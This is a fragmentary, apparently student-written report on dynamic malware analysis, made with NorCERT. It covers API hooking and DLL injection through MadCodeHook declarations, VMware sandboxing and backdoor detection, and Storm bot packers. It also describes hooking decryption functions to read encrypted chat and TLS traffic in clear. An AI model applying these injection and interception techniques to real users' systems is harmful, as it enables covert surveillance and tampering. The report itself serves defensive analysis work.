Analysing Malicious Code
Analysing Malicious Code
Dynamic Techniques
Lars Haukli
The primary focus will be on the analysis of binary code in the form of PE or PE+, but it is believed
that other file formats will require more or less the same techniques and the project could of
course be extended to include other file formats running on other platforms than Microsoft's. The
system will use VMWare virtualization software as an emulator and virtual environment in which
to run the malicious samples. Virtualization technology supported by processors, such Intel
Virtualization Technology (IVT) and AMD Virtualization (AMD-V or Pacifica), enables isolation at the
hardware level.
As approximately 90% of all malware is distributed in a packed form, typically by using runtime
packers such as UPX or ASPACK, it would be desirable to unpack the target code to ease the
process of analysis.
Contents
1 Introduction: Dynamic, Static or both? 6
1.1 Related Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
1.2 Writing this document . . . . . . . . . . . . . . . . . . . . . . . . 9
1.3 The plan (and working methods) . . . . . . . . . . . . . . . . . . 9
1.3.1 Mind Mapping . . . . . . . . . . . . . . . . . . . . . . . . 11
1.4 Discussing sources of information . . . . . . . . . . . . . . . . . . 12
1.5 Acknowledgements . . . . . . . . . . . . . . . . . . . . . . . . . . 13
2 API hooking 15
2.1 How to Hook . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
2.1.1 Madshi’s MadCollection . . . . . . . . . . . . . . . . . . . 17
2.1.2 MadCodeHook: Important Functions . . . . . . . . . . . . 17
2.2 DLL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
2.3 Inter-Process and DLL communication . . . . . . . . . . . . . . . 21
2.4 Tool functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.5 Callback functions/function variables . . . . . . . . . . . . . . . . 23
2.6 DLLs for system wide support . . . . . . . . . . . . . . . . . . . . 24
2.7 Process Wide Hooking . . . . . . . . . . . . . . . . . . . . . . . . 25
2.8 System Wide Hooking . . . . . . . . . . . . . . . . . . . . . . . . 26
2.9 Summing Up . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
1
5 Packers 46
5.1 In general terms . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
5.2 HyperUnpackMe2 . . . . . . . . . . . . . . . . . . . . . . . . . . 47
5.3 Storm (aka Peacomm, Tibs) – a modern bot . . . . . . . . . . . . 47
5.4 EXECryptor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
5.5 PolyUnpack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
6 Structural Analysis 63
6.1 Hashing apps and bin diffs . . . . . . . . . . . . . . . . . . . . . . 63
6.2 PE and PE+ file formats . . . . . . . . . . . . . . . . . . . . . . 63
6.2.1 pefile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
6.2.2 pydasm . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
6.2.3 madDisAsm . . . . . . . . . . . . . . . . . . . . . . . . . . 65
6.3 IDA Pro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
6.4 OllyDbg . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
7 Automating analysis 67
7.1 Twisted . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
7.2 VMware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
7.2.1 VIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
7.2.2 VI SDK . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
7.3 XYNTService . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
7.4 Wrapping the vmrun command . . . . . . . . . . . . . . . . . . . 73
7.5 pyVIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
7.6 PaiMei . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79
7.6.1 PyDbg . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
7.6.2 Utilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
A MadCodeHook 82
A.1 System wide hooking example: HookProcessTermination . . . . . 82
C Redpill 99
D Nopill 100
G Cermalus 131
J References 184
2
K Sources of information (web resources) 186
K.1 Communities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
K.2 Virtualization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
K.3 Analysis Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186
K.4 Malware (general) . . . . . . . . . . . . . . . . . . . . . . . . . . 187
K.5 Packing and Unpacking . . . . . . . . . . . . . . . . . . . . . . . 187
K.6 API Spying Tools, and API hooking frameworks . . . . . . . . . 188
K.7 Other . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189
K.8 Availability of referenced articles . . . . . . . . . . . . . . . . . . 190
Code Listings
1 functions HookCode() and HookAPI() . . . . . . . . . . . . . . . 17
2 An example from the demo . . . . . . . . . . . . . . . . . . . . . 18
3 functions UnhookCode() and UnhookAPI(), and example usage . 18
4 RenewHook() and IsHookInUse() . . . . . . . . . . . . . . . . . . 18
5 CollectHooks() and FlushHooks(), primarily for older systems . . 18
6 Flags used with InjectLibrary() . . . . . . . . . . . . . . . . . . . 19
7 Injecting and Uninjecting DLLs . . . . . . . . . . . . . . . . . . . 19
8 Example usage (in C) from HookTerminateAPIs.dll Demo . . . . 20
9 CreateProcessEx() functions . . . . . . . . . . . . . . . . . . . . . 20
10 Memory Allocation functions . . . . . . . . . . . . . . . . . . . . 20
11 The function CreateRemoteThreadEx(), and requirements for the
remote function . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
12 The IPC callback routine, and the function used to create an IPC
queue . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
13 Using the IPC queue . . . . . . . . . . . . . . . . . . . . . . . . . 22
14 Teardown function . . . . . . . . . . . . . . . . . . . . . . . . . . 22
15 Useful Tool Functions . . . . . . . . . . . . . . . . . . . . . . . . 23
16 Old School Tool Functions. Converting between ANSI and Wide 23
17 The callback function, and the original function declaration . . . 24
18 TPHook.dll (delphi source) . . . . . . . . . . . . . . . . . . . . . 24
19 Process wide API hooking . . . . . . . . . . . . . . . . . . . . . . 25
20 System Wide hooking using DLLs . . . . . . . . . . . . . . . . . 26
21 The VMware Backdoor . . . . . . . . . . . . . . . . . . . . . . . 33
22 Code detecting VMware . . . . . . . . . . . . . . . . . . . . . . . 40
23 Red Pill . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
24 Example (C-code): VixVM RunProgramInGuest() . . . . . . . . 68
25 C Sample code. Running a program in the guest. . . . . . . . . . 71
26 Running a program in the guest from the host system’s command
line using vmrun . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
27 Command line options for XYNTService . . . . . . . . . . . . . . 72
28 Init file (XYNTService) . . . . . . . . . . . . . . . . . . . . . . . 72
29 Wrapping the vmrun command in python . . . . . . . . . . . . . 73
3
List of Figures
1 Working with eclipse and LATEX . . . . . . . . . . . . . . . . . 10
2 TunnelingScheme . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
3 ipconfig run from the host system (laptop) . . . . . . . . . . . . . 31
4 ipconfig run from the guest OS (VMware virtual system) . . . . . 32
5 Networking in VMware. Simple. Plug ’n play, but still flexible. . 33
6 VMware backdoor’s main functionality . . . . . . . . . . . . . . . 34
7 avast! catching the Storm Worm, aka Tibs Trojan p2p bot spread-
ing via spam . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
8 Detecting VMware. . . . . . . . . . . . . . . . . . . . . . . . . . . 41
9 The Windows API Concept. Interface and modularity (DLLs) . . 43
10 A typical spam message (Storm Bot/Trojan) . . . . . . . . . . . 48
11 FullNews.exe (packed Storm sample) . . . . . . . . . . . . . . . . 51
12 GreetingCard.exe (packed Storm sample) . . . . . . . . . . . . . 52
13 Video.exe (packed Storm sample) . . . . . . . . . . . . . . . . . . 53
14 opr01QXR.exe, a packed Storm Variant, (in avast! terms:) Win32:Tibs-
AFJ [Trj]. (a simple decryptor loop) . . . . . . . . . . . . . . . . 54
15 opr01QX2.exe, another packed Storm variant. In avast! terms:
Win32:Tibs-AER [Trj] The code isn’t visible in this figure (mind
the zoom please), only locations (chunks of code) and the transi-
tions between them. . . . . . . . . . . . . . . . . . . . . . . . . . 55
16 The imports and exports of Video.exe . . . . . . . . . . . . . . . 56
17 PEExplorer unpacking automatically. The disassembler shows
the complete PE image of the malware. Imports on the right
blue screen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
18 The start of FullStory.exe. . . . . . . . . . . . . . . . . . . . . . . 57
19 Storm: Zooming out, we see a bigger picture of the malware’s
structure. (FullStory.exe unpacked) . . . . . . . . . . . . . . . . . 58
20 Storm: A closeup of the last location of FullStory.exe (unpacked).
The graph overview shows the locations and the general flow of
control. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
21 Storm: (FullStory.exe unpacked) The subroutine at location 401000 h 59
22 Storm: (FullStory.exe unpacked) The subroutine at location 409F4F h 60
23 Storm: (FullStory.exe unpacked) The subroutine at location 709D77 h 61
24 The VIX API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
25 The PaiMei console (GUI), displaying the structure of the frame-
work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
4
Abstract
This report starts out discussing a framework for building an API
monitoring system. In such a system, malicious code can be run, and
its actions can be taken notice of. I look into different analysis tools for
stuctural analysis, and API monitoring tools. I will also discuss dynamic
analysis using a debugger, and anti-debugging techniques used by modern
malware. When using a debugger, API hooking can be implemented using
brakepoints as well. In any case, we will need an isolated environment.
The best candidate for this is virtual machines.
I will look at different ways of controlling a virtual guest from a host
system. On VMware, we can use both normal networking interfaces, and
a backdoor, which is really an i/o port. I will also look into techniques for
detecting virtual machines, and some counter-techniques.
Packing mechanisms and ways to undo them is central to malware
analysis. In this paper I have unpacked and analysed several samples of
the Storm Bot, which is packed using UPX. Additionally, the APIs used
by Storm has been determined. Dynamic analysis can be based on API
usage.
Scripting VMware is a central part of the last chapter. I will demon-
strate several ways of doing this. It seems this can be a good foundation
for building automated analysis solutions. I will also discuss the PaiMei
framework which integrates the most useful analysis tools, and can work as
a framework for building programs that automate the process of malware
analysis.
A report on malware analysis would not be complete without viral
code. Cermalus is a recently released virus, which assembly source code
has been included in the appendix. The source is well commented, and
clearly states what the different routines are used for. You will find many
of the terms used in these comments explained throughout this report.
This project has been carried out in collaboration with NorCERT—
The Norwegian Computer Emergency Response Team.
5
1 Introduction: Dynamic, Static or both?
Malicious code needs to be analysed in order to design proper defence systems.
The source code of programs, clearly state the logic, and often explains how the
program works. Source code is however not always available—in this project we
focus our attention on executable binaries.
The general problem is to determine what happens when code is being run.
When trying to understand the difference between static and dynamic analysis,
and their respective limitations, it is helpful to distinguish between two sides of
this problem: The cause, and the impact.
The cause of a problem is often best understood by studying the source code,
or structural aspects. Dynamic analysis should enable understanding the impact
of a problem better, that is, what really happens on the system; the precise flow
of control and executed instructions —but the cause might very well be harder to
grasp. This is reasoning similar to that described by Hoglund and McGraw[14].
We are probably best of combining static and dynamic techniques in order to
see the full picture.
The complexity of programs, their rich flexibility and diverse functionality,
makes analysing every possible state and transition hard, and subtle points in
the code might easily be overlooked. Dynamic analyis is about focusing on that
which is important, one might say: Reality. By observing the system running
the programs, suspicious activity can reveal the true behaviour of programs, and
help pinpoint parts of the code that cointain malicious instructions. Automating
malware analysis, should enable analysts to work more efficiently, and spend less
time doing manual work. The next step would be to make the system prescribe
remedies as new unknown samples are caught by sensors.
The true motivation for automatic analysis, is the rising number of distinct,
but similar malware. As new genious series of instuctions are composed by
professional hackers, copycats can make even more samples by combining them.
The modularity of modern software, eases this process, and analysing every
single sample might not be the best way to deal with this problem. At the least,
it will be time consuming. At worst, it could prove to be infeasible.
Not every piece of malware is well written. The samples of lower quality, are
probably quite suited for being handled by machines alone. In harmony with
the model of the Digital Immune System, samples picked up by sensors or hon-
eypots can be analysed automatically, a cure can be subscribed, and we can fix
the vulnerability or upgrade our defenses. Keep in mind that defensive systems
are likely to be modular as well. Malware of higher sophistication, specifically
tailored for more specific use, or malware using polymorphic or metamorphic
techniques are likely to need a higher degree of human interaction. Trying
to automate such a process, is probably just as hard as solving the problem
of detecting malware in the general case, which is considered to be NP com-
plete. Hence we should focus on observing how programs interacts with its
environment, and consider automating repetitive tasks like setting up networks,
produce diffs pre and post run, clean and setup hooks for relaunches, reverting
to snapshots etc. What we are really trying to do is to save time by automating
more boring tasks. A problem that, at least for some time, has been solved by
scripting.
Most of the malware floating around these days are packed using some form
of runtime packing mechanism. In the simplest case, such a mechanism works
6
just as ZIP, ARJ, RAR etc. More advanced packers are designed to pack an
input file just as an encryption algorithm would work. It is not designed to
be unpacked, unless its being run. This is where dynamic analysis comes to
use. Trying to undo the packing mechanism of a sample that has been packed
with, let’s say, 20 layers of different cryptographic or permuting primitives is
probably just as hard as it sounds. Trying to automate such a process and make
it work in the general case is probably even harder. But, in order to execute its
payload, the malware has to unpack, and the moment the unpacking algorthm
(that has to be supplied within the malicious sample) has completed, we can
take a snapshot of it in memory, and voila! The sample has just done all the
dirty work itself; we’ve made it work for us instead. This is really just the same
idea as the one behind generic decryption, only this time, we’re not restricting
the algorithm to be one that performs encryption (but in essence, at least to
some extent, the packer will be cryptographic or resemble such an algorithm).
This does not mean that we should not attempt to unpack the code statically
(without running it). If we have a (cleartext) PE image of a program, we can
benefit from this in our dynamic analysis. The PE header includes information
that can reveal what the code is trying to do. Perhaps most importantly, it
reveals what APIs (from which library) the program imports or exports. In
turn, this can tell us where to hook. That is, if we haven’t hooked the entire
system to begin with of course.
The process of performing dynamic analysis must include at least two elements—
First of all we need some, preferably secure, environment in which to run the
program. The most promising candidate for this is a virtual system. And
secondly, we need some way of monitoring its behaviour, which is where API
hooking comes to use—a general technique used by both sides of the table as
usual. Additionally, as a third element, some sort of control mechanism would
be needed, at least if we are trying to automate the process. But the black hats
know what we are doing, which leads as to a fourth requirement. We have to
make our environment resemble a real one. If not, the malware can choose not
to run, and our analysis might fail. With the rising popularity of debuggers,
for instance, malware are now using antidebugging tricks to make such analy-
sis harder. The same goes for virtual systems, which are just recently getting
harder to detect, due to the invent of virtual support in hardware1 .
A discovery that wasn’t too obvious at first, to be honest, was that is in
many ways the same problem as the one faced by creators of honeypots. If they
are to catch the most advanced forms of malicious code, they will have to make
their honeypot in such a way that it is tempting to attack it. In other words, it
must appear just as a real, vulnerable, system would. As I dug deeper, honenet
research had already solved many of the same problems [36, ?], even for the
virtual system I decided to use!
The general reasoning when in comes to controlling the execution of the
samples, would be to utilize the scripting possibility of modern software to
automate as much as possible. Most advanced tools have plugin and scripting
possibilities, which in the end is what gives them their extreme flexibility. What
should be clear is that trying to write a program that, in the general case, solves
the problem of finding a remedy for a previous unseen piece of malware, is
probably impossible. But there are so many excellent tools out there, and with
1 AMD and Intel have their own technologies, AMD-V and IVT respectively.
7
the invent of the python programming language I truly believe that it is feasible
to combine some of them and hopefully in a way that resembles automation.
IDA Pro is a great tool for performing static analysis. There’s a million
plugins available, and it comes with a scripting language in C, that has been
wrapped in python code to yield IDAPython. From a user’s point of view this
gives us a bunch of functions that we can call in order to analyse the code
in different ways. We can install other plugins and use their functionality as
well. For instance, there’s a plugin for IDA Pro named Process Stalker 2 —the
scenario would be: Setup a virtual system, run a suspicious program, observe
its behaviour, and report what happens. Continuing this thought, this project
will look at API monitoring (spying) techniqes. This is not to say that the
world hasn’t seen tools that can do this already. When working on this, I
came over a program named oSpy, designed to aid reverse engineers figuring
out how complicated programs work. Using the tool, the author shows on the
webpage (as a screencast) how to sniff up chat messages sent via Windows Live
Messenger. Sure, the text is encrypted when sent over the wire, but in both
ends it actually has to be decrypted (yes I know it’s obvious). So why tap
in on the network traffic, when you can tap in on the API call instead? Just
snap the result provided by the decryption function, and suddenly you find
yourself circumventing what you might have though was a secure connection3 .
But this time we haven’t really broken the encryption, just sniffed the result of
the decryption algorithm. The same goes for SSL/TLS web traffic4 . The oSpy
project page5 has a demo of the latter as well, and if as that wasn’t enough, it
even integrates with IDA Pro.
8
The use of multiple AV engines, and the real-time abilities with respect
to signature updates and global statistics, makes this a great service.
Norman SandBox Information Center A web site offering free uploads of
suspicious or malicious samples. The analysis relies on the same sandbox
engine used in commercial products, ie. the sample is run in a jail. Results
are sent in email, and will include such things as changed registry keys
and a list of modified files.
CWSandbox A service resembling the above, but more thorough, and better
suited for network aware malware. The report is in XML and includes file
changes, registry changes, processes created/run, list of IPs and ports used
for communication etc. It notes any network activity, including HTTP,
FTP, SMTP and IRC connections. The sample is run on a system that is
monitored using API hooking techniques (aka. API Spying).
Sunbelt CWSandbox A web based automated malware analysis service, us-
ing the CW engine7 . Reports are delivered in HTML or text-based emails,
more suitable for human reading than XML. If the reports are to be han-
dled by machines, XML (using CWSanbox for instance) might be a better
alternative. Sunbelt CWSandbox can facilitate automatic collection of
malware from sources such as Nepenthes. Sunbelt Software is an anti-
spyware company located in Tampa Bay, Florida (US).
9
Figure 1: Working with eclipse and LATEX
TheForge This is a C/C++ project, where I can write, compile, run and debug
C/C++ programs. When using the MadCodeHook framework for hooking
code, I will need such a system in order to compile my own DLLs, which
I can then inject into running processes, or system wide such that the
malware runs in a totally compromised system (which one is better can
perhaps change according to the context). With respect to automation,
this project can be used to write C++ programs, for instance using the
VIX C API, and even IDC (C scripting) on IDA Pro. But I will probably
end up using python for this latter part, as both these languages have
wrappers in python, pyVIX and IDAPython, respectively. A third use for
this project, as it has come up, is to compile and patch the VMware binary
in order to make it more stealthy and secure.
The project uses the CDT [23, 5] plugin for eclipse, together with MinGW
providing compiler support. MinGW is Minimalist GNU for Windows. It
ships with g++, gcc, make; so you get a minimalistic UNIX environment
to play in. An alternative to this, is to use cygwin, which provides a full
blown unix/linux shell environment (still on Windows). Cygwin provides a
common linux interface to the user, while directing and calling the correct
DLLs in the background. Cygwin is really just a bunch of DLLs itself,
actually.
Pythonized An eclipse project armed with the pydev plugin, running Python
2.5. In addition, I have installed Twisted, an event driven networking
engine for python, pyvix, the python VIX API wrapper, and pefile, a
Python module which help in doing static analysis, like getting data from
the pe header for instance. Static analysis can be boosted dramatically
using tools such as IDA Pro, which I have installed on my VMware system.
This means that I can write python scripts in this project, and run them
10
on IDA Pro using the plugin IDAPython. Now, IDA Pro can also be run in
what is known as batch mode, which means that we can make it analyse
a bunch (or a batch) of programs, and for instance have it execute one
ore more python scripts (resulting in IDC commands I guess, since it’s the
python code will be calling a wrapper). Now a natural question to ask is
how to combine python and C++, as we have already begun to do when
wrapping a C API in python, but what really saves the day is the DLL. If
we are to perform dynamic analysis, one option is to write DLLs using the
MadCodeHook framework. The DLL source will be written in C++, but
the DLL is compiled to be a modular, but yet selfcontained unit. After
all, the DLLs follow the laws of the PE image when reciding in memory, so
to repeat myself, they are very much like standalone programs. A python
framework can then inject DLLs itself, or run a program providing such
a service. (MadCodeHook comes with a programs that does this (both
in source and compiled binary)). After injection it can run malware on
VMware, for instance using pyVIX.
A fourth aspect is the VMware system I have installed and set up: VMware
Workstatin 6 Beta, which can be downloaded for free from VMware’s own
site. Additionally, the system now has IDA Pro installed, with IDAPython v
0.9.0 on Python 2.5. This is the latest version, that just came out. I tried the
previous version as well, (0.8.0), compatible with Python 2.4.
The network has been configured (every possible option checked), and I can
now choose the connect the guest to the outside world in a variety of ways.
The next step should be ensuring complete isolation, in order to run malware
securely. Even though the system has virtualization support in hardware, there
is still the backdoor to consider. It would, as I said on a forum (OpenRCE)
earlier today, be quite naive to think that malware authors don’t know about
this backdoor, since Agobot and others already use code to detect VMware,
and what this code does, is actually to use this backdoor. If such an attempt
does not cause an exception, the presence of VMware is detected. Patching the
VMware seems like a great option though, as pointed out on various honeynet
related sites. We can either choose to change the “magic value” to our own
unique. . . let’s call it password. The “magic value” is hard coded within the
VMware binary, and each time the backdoor is used, the value in a register
is checked against the stored value. The backdoor will not work unless these
values match. Of course, you might say that it is possible to have a program
run multiple tests on the system it runs on. For instance, it could brute force
the magic value, trying over and over again changing values for every try. But
my hopes are that we might be able to notice such a strange behaviour, since it
will cause an exception for each failed try. Of course, the paranoid user would
probably be interested in disabling the entire feature, which can be done by
applying a patch avaliable from the french honeynet project. If we modify this
patch, we might actually be able to change the magic value as well (to whatever
we desire).
11
made a mind map of Peter Szor’s chapter 12 in [34]: “Memory Scanning and
Disinfection”. The subjects presented here are relevant to other subjects, s.a.
Process isolation, Memory Protetion, Virtual Memory, Memory Scanning, Mem-
ory Disinfection. In his text, he discusses some very important techniques that
we can adopt in our dynamic analyis. I will discuss some of them in the memory
scanning chapter. They are related to many of the other subjects I will discuss
in this report, but still quite generic.
I have also made a mind map on the VIX interface, useful for scripting and
automating tasks in (VMware) virtual machines. Even though I might end
up using a python wrapper called pyVIX, this is, as its name suggests, only a
wrapper of the original API, and hence it provides the same functionality, so
deeper insight into the original VIX API is needed. The mind map is currently
geared on the features provided by the latest addition: VMware Workstation
6 (VIX API version 1.1), which adds additional functionality to the older VIX
API versions, earlier only available for the server variants.
This is not to say that the older functionality are unimportant, however. We
will certainly be needing functions such as CreateSnapshot() and RevertToSnap-
shot(). The essential parts of the VIX interface implements power operations,
snapshot operations, operations for running programs in the guest OS, and op-
erations for copying files between the host and guest OS.
12
served as a theoretical background for this project, I found myself focusing too
much on written literature, i.e. books, and my persuit has been a more practical
and experimental approach in this project. The idea is to get up to date on state
of the art techniques; in my opinion, this cannot be achieved without heavily
relying on the net. Online documents serves as the only (in most cases), and
the most up to date (in all cases) information available, whithout it I would be
stuck. You will find that the sections are very interrelated, and I suspect that
many of the concepts cannot be understood fully in isolation from the others.
I have made an effort to order the sections in such a way that concepts are
introduced before they are used.
My experimental approach is heavily geared on using free software. I am
currently using a dual boot computer, and running VMWare Workstation 6
(free trial, and several betas during this project—thank you VMware.) on both.
In any case, all programs (both for Linux and Windows) are programs you can
download for free. Many of them under GPL, or other licenses, but in all cases
they are freely available. There is of course, to state the rule, one exception:
IDA Pro. An incredible tool, but you need a license that has a price9 . NorCERT
saved the day by providing me one.
Every program I have used during this project has web references you can
follow to download the program and test it, or read more about their use. Many
even have good background literature, both practical and more theoretical. You
will find the article describing PolyUnpack much more mathematical than most.
Thanks to my algebra / cryptography lecturers over these last few years; it helps
when trying to understand algebraic definitions, and the theorems and corolleries
that are prone to showing up in the appendix.
I believe that we can get more secure systems by distributing and sharing
information openly, in the public. Hence, some claim that the only programs
that can be proved secure10 ,
are open source programs, where anyone can gain knowledge of the inner
workings, and ensure its quality. A natural question to ask at this point is:
What about the closed source programs? There are really just two options:
Trust the provider, or reverse engineer11 .
1.5 Acknowledgements
I would like to thank my two supervisors at NorCERT, Einar Oftedal and
Cristophe Birkeland. It has been a great pleasure having you both to guide
me through the jungle of malware, and I am very much looking forward to
working with you on future projects12 . Thanks for being patient and giving
me the time comprehend and understand the nature of the problem statement,
instead of forcing me to implement a quick and useless system13 .
I would also like to thank my supervisor at the university, professor Svein
Knapskog. Thanks for persuading me to make a disposition of this report as
the first step; it has been of great help to work with the different topics simul-
9 VMWare is also proprietary software, and industrial use are prone to needing a paid
license as well.
10 now we can never prove security according to Bruce Schneier, but we can test it endlessly
11 Or hope that their sources will be released.
12 fingers crossed
13 it wouldn’t have worked anyway
13
taneously, instead of writing the report inline. I belive this is especially true in
cases where the topics are severly interrelated, as is the case for this project.
Thanks for taking the time to listen to my thoughts and digressions throughout
our many meetings, and for helping me decide what to focus on.
Lastly I would like to thank everyone at OpenRCE.org. Thanks to Pedram
Amini for launching the site, and to everyone who shares their articles and
technical info, and to everyone who participates in the forums.
14
2 API hooking
Every program follows a (partly) predefined flow of execution. The order in
which its instructions are executed depends on the program’s logic and the
environment in which it is run. In general, API hooking is about changing this
flow of execution. We are indeed tampering with the underlying system, but we
do not intend to subvert it—only analyse the behavior of a running program.
Ironically, every form of malware must in some way or another use such, or a
similar, feature in order to gain control at some time. Normally, a jump instruc-
tion is inserted to transfer control to the bulk of the malicious instrucions[34].
The original code is kept within the malware in order to be able to call the
original functionality, and bring the system back to a (seemingly) normal state.
Most malicious code will resume normal operation after unleashing its payload,
to avoid being detected.
The point is, that the techniques are more or less the same. But, malware
can use specific hacks that only work in specific cases. We, on the other hand,
need a general framework that works in most cases. This will make it possible
to hook the most sensitive APIs and then run programs to see if they try to
access, modify or perform some benign operation using this functionality. After
all, any program is in essence just a series of API calls14 .
the last instance being the CPU’s instruction set, that specifies what operations are supported
by the CPU
15 It goes without saying that the systems consist largly of programs themselves, and are
15
should be performed on every DLL loaded by the target application as
well. Beware of shared import tables.
Extended Import Table Patching Hooking LoadLibrary() to be notified when
new DLLs are loaded. Hook GetProcAddress() to return the address of a
callback function. This can catch API calls that are dynamically linked
after a hook has been installed. The catch here is that unhooking it is
hard.
Export Table Patching (.edata) Modifying the Export Address Table (EAT)
of the PE file header.
Code Overwriting Overwrite the API’s binary code in memory with an in-
struction to jump to our callback function. The simplest method. Its
major disadvantage is that the original function cannot be called from our
callback function, something we normally would like. Frequently hooking
and unhooking causes unstability and will make emulation slow. Also, if
we temporarily unhook an API we might miss calls.18
Extended Code Overwriting A technique to overcome the simpler method’s
major disadvantage; Enabling calling the original function. Copies the
overwritten bytes to another location, and calls it there. However hard
to implement, it works fine but has its drawbacks as well. Shared APIs
can only be hooked system wide, and the target API can consist of code
structured in such a way that it simply cannot be hooked by this method.
Detours, ApiSpy32 and EliCZ use this method. By overwriting code we
basically risk three things—an exception, a system crash, or the integrity
of our hook. It should be possible for an attacker to provoke the hooking
system to make a hook where it would cause an exception, and catch that
exception, or otherwise detect that the running system has been tampered
with.
Madshi’s Code Overwriting The API code is overwritten with a 6 byte ab-
soulute jump instruction, as opposed to the 5 byte relative jump instruc-
tion used by the above. This enables building a real hook queue and
ultimately stable, process-wide API hooking—shared APIs can be hooked
process-wide or system-wide. Very short API code, or code structured
in such a way that code overwriting is infeasible, can still be a problem
though. MadCodeHook has a disassembler that examines the target API
code, and determines if code overwriting can be used safely. If not, the
framework automatically switches to mixture mode.
Madshi’s Mixture Mode Enlarges the code that is presumed to be too short,
in order to make code overwriting possible. Builds an API header that
jumps to the original API, and then patches .edata/.idata to point to the
newly allocated header. The catch is that API calls linked dynamically
before the API was hooked the first time, will not be caught. They still
jump directly to the original API.
18 Some hooking packages, like programsalon.com and hookapi.com still use this method.
16
2.1.1 Madshi’s MadCollection
Below you see an overview of the different packages that collectively form the
MadCollection. Only the basic and codehook packages are needed for simple
API hooking. The rest of them makes the framework useful for more collabo-
rative projects. They will only be described briefly here.
madBasic Implements basic functionality required by all other packages. This
includes message handling, compression, encryption and string operations.
madDisAsm A disassembler capable of analysing binary code at any memory
position.
madExcept Exception handling
madRemote Manipulate other processes. Allocate memory, copy functions or
create threads.
madCodeHook A general purpose API hooking package.
madKernel Convert handles to IDs or enumerate “secret” things.
madSecurity A security package. For instance, it emulates ACLs and ACEs.
madShell Encapsulates the most important shell COM objects.
17
LPCSTR pszFuncName ,
PVOID pCallbackFunc ,
PVOID * pNextHook ,
... // init dwFlags
);
// Example :
UnhookCode ( (PVOID * ) &SomeFuncNextHook ) ;
You can also put HookAPI/HookCode calls into CollectHooks and Flush-
Hooks frameworks.
18
madCHookApi (VOID) C o l l e c t H o o k s ( ) ;
madCHookApi (VOID) FlushHooks ( ) ;
madCHookApi (BOOL) I n j e c t L i b r a r y A (
DWORD dwProcessHandleOrSpecialFlags ,
LPCSTR pLibFileName ,
... // init dwTimeOut
);
madCHookApi (BOOL) I n j e c t L i b r a r y W (
DWORD dwProcessHandleOrSpecialFlags ,
LPCWSTR pLibFileName ,
... // init dwTimeOut
);
madCHookApi (BOOL) I n j e c t L i b r a r y S e s s i o n A (
DWORD dwSession ,
BOOL bSystemProcesses ,
LPCSTR pLibFileName ,
... // init dwTimeOut
);
madCHookApi (BOOL) I n j e c t L i b r a r y S e s s i o n W (
DWORD dwSession ,
BOOL bSystemProcesses ,
19
LPCWSTR pLibFileName ,
... // init dwTimeOut
);
);
20
... // init hProcess
);
madCHookApi (BOOL) FreeMemEx (
PVOID pMem,
... // init hProcess
);
madCHookApi (PVOID) CopyFunction (
PVOID pFunction ,
... // init hProcess
... // init bAcceptUnknownTargets
... // init * pBuffer
);
Code Listing 12: The IPC callback routine, and the function used to create an
IPC queue
typedef VOID (WINAPI *PIPC CALLBACK ROUTINE) (
LPCSTR pIpc ,
PVOID pMessageBuf ,
DWORD dwMessageLen ,
21
PVOID pAnswerBuf ,
DWORD dwAnswerLen
);
22
Code Listing 15: Useful Tool Functions
madCHookApi (BOOL) AmSystemProcess (VOID ) ;
madCHookApi (BOOL) AmUsingInputDesktop (VOID ) ;
madCHookApi (DWORD) G e t C u r r e n t S e s s i o n I d (VOID ) ;
madCHookApi (DWORD) G e t I n p u t S e s s i o n I d (VOID ) ;
madCHookApi (HMODULE) GetCallingModule (VOID ) ;
madCHookApi (DWORD) ProcessHandleToId (
HANDLE dwProcessHandle
);
madCHookApi (BOOL) ProcessIdToFileName (
DWORD dwProcessId ,
LPSTR pFileName
);
madCHookApi (HANDLE) CreateGlobalMutex (
LPCSTR pName
);
madCHookApi (HANDLE) OpenGlobalMutex (
LPCSTR pName
);
madCHookApi (HANDLE) C r e a t e G l o b a l E v e n t (
LPCSTR pName ,
BOOL bManual ,
BOOL bInitialState
);
madCHookApi (HANDLE) OpenGlobalEvent (
LPCSTR pName
);
madCHookApi (HANDLE) C r e a t e G l o b a l F i l e M a p p i n g (
LPCSTR pName ,
DWORD dwSize
);
madCHookApi (HANDLE) OpenGlobalFileMapping (
LPCSTR pName ,
BOOL bWrite
);
Code Listing 16: Old School Tool Functions. Converting between ANSI and
Wide
madCHookApi (VOID) AnsiToWide (
LPCSTR pAnsi ,
LPWSTR pWide
);
madCHookApi (VOID) WideToAnsi (
LPCWSTR pWide ,
LPSTR pAnsi
);
23
We resume normal flow of execution when we call the original function from
within the callback function.
